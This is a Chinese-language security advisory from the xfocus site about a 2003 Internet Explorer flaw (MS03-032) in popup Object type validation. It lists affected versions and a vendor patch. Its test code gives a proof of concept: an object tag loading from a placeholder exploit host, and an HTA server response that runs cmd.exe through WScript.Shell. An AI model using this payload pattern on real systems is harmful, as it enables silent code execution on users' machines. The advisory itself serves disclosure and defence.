xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Internet Explorer浏览器弹出窗口Object类型验证漏洞


发布时间:2003-09-07
更新时间:2003-09-09
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:客户机模式

BUGTRAQ ID:8556

受影响系统
Microsoft Internet Explorer 5.0.1 SP3                                        
Microsoft Internet Explorer 5.0.1 SP2                                        
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 95                                                      
   -Microsoft Windows 98                                                      
   -Microsoft Windows NT Enterprise Server 4.0                                
   -Microsoft Windows NT Enterprise Server 4.0 SP1                            
   -Microsoft Windows NT Enterprise Server 4.0 SP2                            
   -Microsoft Windows NT Enterprise Server 4.0 SP3                            
   -Microsoft Windows NT Enterprise Server 4.0 SP4                            
   -Microsoft Windows NT Enterprise Server 4.0 SP5                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0                                          
   -Microsoft Windows NT Server 4.0 SP1                                      
   -Microsoft Windows NT Server 4.0 SP2                                      
   -Microsoft Windows NT Server 4.0 SP3                                      
   -Microsoft Windows NT Server 4.0 SP4                                      
   -Microsoft Windows NT Server 4.0 SP5                                      
   -Microsoft Windows NT Server 4.0 SP6                                      
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0                                  
   -Microsoft Windows NT Terminal Server 4.0 SP1                              
   -Microsoft Windows NT Terminal Server 4.0 SP2                              
   -Microsoft Windows NT Terminal Server 4.0 SP3                              
   -Microsoft Windows NT Terminal Server 4.0 SP4                              
   -Microsoft Windows NT Terminal Server 4.0 SP5                              
   -Microsoft Windows NT Terminal Server 4.0 SP6                              
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0                                      
   -Microsoft Windows NT Workstation 4.0 SP1                                  
   -Microsoft Windows NT Workstation 4.0 SP2                                  
   -Microsoft Windows NT Workstation 4.0 SP3                                  
   -Microsoft Windows NT Workstation 4.0 SP4                                  
   -Microsoft Windows NT Workstation 4.0 SP5                                  
   -Microsoft Windows NT Workstation 4.0 SP6                                  
   -Microsoft Windows NT Workstation 4.0 SP6a                                
Microsoft Internet Explorer 5.0.1 SP1                                        
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 95                                                      
   -Microsoft Windows 98                                                      
   -Microsoft Windows NT Enterprise Server 4.0                                
   -Microsoft Windows NT Enterprise Server 4.0 SP1                            
   -Microsoft Windows NT Enterprise Server 4.0 SP2                            
   -Microsoft Windows NT Enterprise Server 4.0 SP3                            
   -Microsoft Windows NT Enterprise Server 4.0 SP4                            
   -Microsoft Windows NT Enterprise Server 4.0 SP5                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0                                          
   -Microsoft Windows NT Server 4.0 SP1                                      
   -Microsoft Windows NT Server 4.0 SP2                                      
   -Microsoft Windows NT Server 4.0 SP3                                      
   -Microsoft Windows NT Server 4.0 SP4                                      
   -Microsoft Windows NT Server 4.0 SP5                                      
   -Microsoft Windows NT Server 4.0 SP6                                      
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0                                  
   -Microsoft Windows NT Terminal Server 4.0 SP1                              
   -Microsoft Windows NT Terminal Server 4.0 SP2                              
   -Microsoft Windows NT Terminal Server 4.0 SP3                              
   -Microsoft Windows NT Terminal Server 4.0 SP4                              
   -Microsoft Windows NT Terminal Server 4.0 SP5                              
   -Microsoft Windows NT Terminal Server 4.0 SP6                              
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0                                      
   -Microsoft Windows NT Workstation 4.0 SP1                                  
   -Microsoft Windows NT Workstation 4.0 SP2                                  
   -Microsoft Windows NT Workstation 4.0 SP3                                  
   -Microsoft Windows NT Workstation 4.0 SP4                                  
   -Microsoft Windows NT Workstation 4.0 SP5                                  
   -Microsoft Windows NT Workstation 4.0 SP6                                  
   -Microsoft Windows NT Workstation 4.0 SP6a                                
Microsoft Internet Explorer 5.0.1                                            
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 95                                                      
   -Microsoft Windows 98                                                      
   -Microsoft Windows 98SE                                                    
   -Microsoft Windows NT Enterprise Server 4.0 SP3                            
   -Microsoft Windows NT Enterprise Server 4.0 SP4                            
   -Microsoft Windows NT Enterprise Server 4.0 SP5                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0 SP3                                      
   -Microsoft Windows NT Server 4.0 SP4                                      
   -Microsoft Windows NT Server 4.0 SP5                                      
   -Microsoft Windows NT Server 4.0 SP6                                      
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0 SP3                              
   -Microsoft Windows NT Terminal Server 4.0 SP4                              
   -Microsoft Windows NT Terminal Server 4.0 SP5                              
   -Microsoft Windows NT Terminal Server 4.0 SP6                              
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0 SP3                                  
   -Microsoft Windows NT Workstation 4.0 SP4                                  
   -Microsoft Windows NT Workstation 4.0 SP5                                  
   -Microsoft Windows NT Workstation 4.0 SP6                                  
   -Microsoft Windows NT Workstation 4.0 SP6a                                
Microsoft Internet Explorer 5.5 SP2                                          
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 95                                                      
   -Microsoft Windows 98                                                      
   -Microsoft Windows 98SE                                                    
   -Microsoft Windows ME                                                      
   -Microsoft Windows NT Enterprise Server 4.0                                
   -Microsoft Windows NT Enterprise Server 4.0 SP1                            
   -Microsoft Windows NT Enterprise Server 4.0 SP2                            
   -Microsoft Windows NT Enterprise Server 4.0 SP3                            
   -Microsoft Windows NT Enterprise Server 4.0 SP4                            
   -Microsoft Windows NT Enterprise Server 4.0 SP5                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0                                          
   -Microsoft Windows NT Server 4.0 SP1                                      
   -Microsoft Windows NT Server 4.0 SP2                                      
   -Microsoft Windows NT Server 4.0 SP3                                      
   -Microsoft Windows NT Server 4.0 SP4                                      
   -Microsoft Windows NT Server 4.0 SP5                                      
   -Microsoft Windows NT Server 4.0 SP6                                      
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0                                  
   -Microsoft Windows NT Terminal Server 4.0 SP1                              
   -Microsoft Windows NT Terminal Server 4.0 SP2                              
   -Microsoft Windows NT Terminal Server 4.0 SP3                              
   -Microsoft Windows NT Terminal Server 4.0 SP4                              
   -Microsoft Windows NT Terminal Server 4.0 SP5                              
   -Microsoft Windows NT Terminal Server 4.0 SP6                              
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0                                      
   -Microsoft Windows NT Workstation 4.0 SP1                                  
   -Microsoft Windows NT Workstation 4.0 SP2                                  
   -Microsoft Windows NT Workstation 4.0 SP3                                  
   -Microsoft Windows NT Workstation 4.0 SP4                                  
   -Microsoft Windows NT Workstation 4.0 SP5                                  
   -Microsoft Windows NT Workstation 4.0 SP6                                  
   -Microsoft Windows NT Workstation 4.0 SP6a                                
Microsoft Internet Explorer 5.5 SP1                                          
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 95                                                      
   -Microsoft Windows 98                                                      
   -Microsoft Windows NT Enterprise Server 4.0                                
   -Microsoft Windows NT Enterprise Server 4.0 SP1                            
   -Microsoft Windows NT Enterprise Server 4.0 SP2                            
   -Microsoft Windows NT Enterprise Server 4.0 SP3                            
   -Microsoft Windows NT Enterprise Server 4.0 SP4                            
   -Microsoft Windows NT Enterprise Server 4.0 SP5                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0                                          
   -Microsoft Windows NT Server 4.0 SP1                                      
   -Microsoft Windows NT Server 4.0 SP2                                      
   -Microsoft Windows NT Server 4.0 SP3                                      
   -Microsoft Windows NT Server 4.0 SP4                                      
   -Microsoft Windows NT Server 4.0 SP5                                      
   -Microsoft Windows NT Server 4.0 SP6                                      
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0                                  
   -Microsoft Windows NT Terminal Server 4.0 SP1                              
   -Microsoft Windows NT Terminal Server 4.0 SP2                              
   -Microsoft Windows NT Terminal Server 4.0 SP3                              
   -Microsoft Windows NT Terminal Server 4.0 SP4                              
   -Microsoft Windows NT Terminal Server 4.0 SP5                              
   -Microsoft Windows NT Terminal Server 4.0 SP6                              
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0                                      
   -Microsoft Windows NT Workstation 4.0 SP1                                  
   -Microsoft Windows NT Workstation 4.0 SP2                                  
   -Microsoft Windows NT Workstation 4.0 SP3                                  
   -Microsoft Windows NT Workstation 4.0 SP4                                  
   -Microsoft Windows NT Workstation 4.0 SP5                                  
   -Microsoft Windows NT Workstation 4.0 SP6                                  
   -Microsoft Windows NT Workstation 4.0 SP6a                                
Microsoft Internet Explorer 5.5                                              
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 95                                                      
   -Microsoft Windows 98                                                      
   +Microsoft Windows ME                                                      
   -Microsoft Windows NT Enterprise Server 4.0                                
   -Microsoft Windows NT Enterprise Server 4.0 SP1                            
   -Microsoft Windows NT Enterprise Server 4.0 SP2                            
   -Microsoft Windows NT Enterprise Server 4.0 SP3                            
   -Microsoft Windows NT Enterprise Server 4.0 SP4                            
   -Microsoft Windows NT Enterprise Server 4.0 SP5                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6                            
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0                                          
   -Microsoft Windows NT Server 4.0 SP1                                      
   -Microsoft Windows NT Server 4.0 SP2                                      
   -Microsoft Windows NT Server 4.0 SP3                                      
   -Microsoft Windows NT Server 4.0 SP4                                      
   -Microsoft Windows NT Server 4.0 SP5                                      
   -Microsoft Windows NT Server 4.0 SP6                                      
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0                                  
   -Microsoft Windows NT Terminal Server 4.0 SP1                              
   -Microsoft Windows NT Terminal Server 4.0 SP2                              
   -Microsoft Windows NT Terminal Server 4.0 SP3                              
   -Microsoft Windows NT Terminal Server 4.0 SP4                              
   -Microsoft Windows NT Terminal Server 4.0 SP5                              
   -Microsoft Windows NT Terminal Server 4.0 SP6                              
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0                                      
   -Microsoft Windows NT Workstation 4.0 SP1                                  
   -Microsoft Windows NT Workstation 4.0 SP2                                  
   -Microsoft Windows NT Workstation 4.0 SP3                                  
   -Microsoft Windows NT Workstation 4.0 SP4                                  
   -Microsoft Windows NT Workstation 4.0 SP5                                  
   -Microsoft Windows NT Workstation 4.0 SP6                                  
   -Microsoft Windows NT Workstation 4.0 SP6a                                
Microsoft Internet Explorer 6.0 SP1                                          
Microsoft Internet Explorer 6.0                                              
   -Microsoft Windows 2000 Advanced Server                                    
   -Microsoft Windows 2000 Advanced Server SP1                                
   -Microsoft Windows 2000 Advanced Server SP2                                
   -Microsoft Windows 2000 Datacenter Server                                  
   -Microsoft Windows 2000 Datacenter Server SP1                              
   -Microsoft Windows 2000 Datacenter Server SP2                              
   -Microsoft Windows 2000 Professional                                      
   -Microsoft Windows 2000 Professional SP1                                  
   -Microsoft Windows 2000 Professional SP2                                  
   -Microsoft Windows 2000 Server                                            
   -Microsoft Windows 2000 Server SP1                                        
   -Microsoft Windows 2000 Server SP2                                        
   -Microsoft Windows 2000 Terminal Services                                  
   -Microsoft Windows 2000 Terminal Services SP1                              
   -Microsoft Windows 2000 Terminal Services SP2                              
   -Microsoft Windows 98                                                      
   -Microsoft Windows 98SE                                                    
   -Microsoft Windows ME                                                      
   -Microsoft Windows NT Enterprise Server 4.0 SP6a                          
   -Microsoft Windows NT Server 4.0 SP6a                                      
   -Microsoft Windows NT Terminal Server 4.0 SP6a                            
   -Microsoft Windows NT Workstation 4.0 SP6a                                
   +Microsoft Windows Server 2003 Datacenter Edition                          
   +Microsoft Windows Server 2003 Datacenter Edition 64-bit                  
   +Microsoft Windows Server 2003 Enterprise Edition                          
   +Microsoft Windows Server 2003 Enterprise Edition 64-bit                  
   +Microsoft Windows Server 2003 Standard Edition                            
   +Microsoft Windows Server 2003 Web Edition
详细描述
Internet Explorer实现上没有正确检查服务器端发送过来的弹出窗口中的Object类型,可能导致在客户机上执行恶意代码。当IE收到服务器的数据时,在处理Object标记过程中,没有对在弹出窗口中包含的data命令指向的文件类型做充分的检查,文件将在没有任何提示的情况下被执行。

测试代码
--------------Client HTTP request---------------------------
<html>
...
<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------


-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191


<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
------------------------------------------------------------

解决方案
厂商已经发布了MS03-032公告及累计补丁以解决此安全漏洞:
http://www.microsoft.com/technet/security/bulletin/MS03-032.asp

相关信息
EEYE: Internet Explorer Object Data Remote Execution Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2003-08/0309.html

Microsoft Security Bulletin MS03-032
http://www.microsoft.com/technet/security/bulletin/MS03-032.asp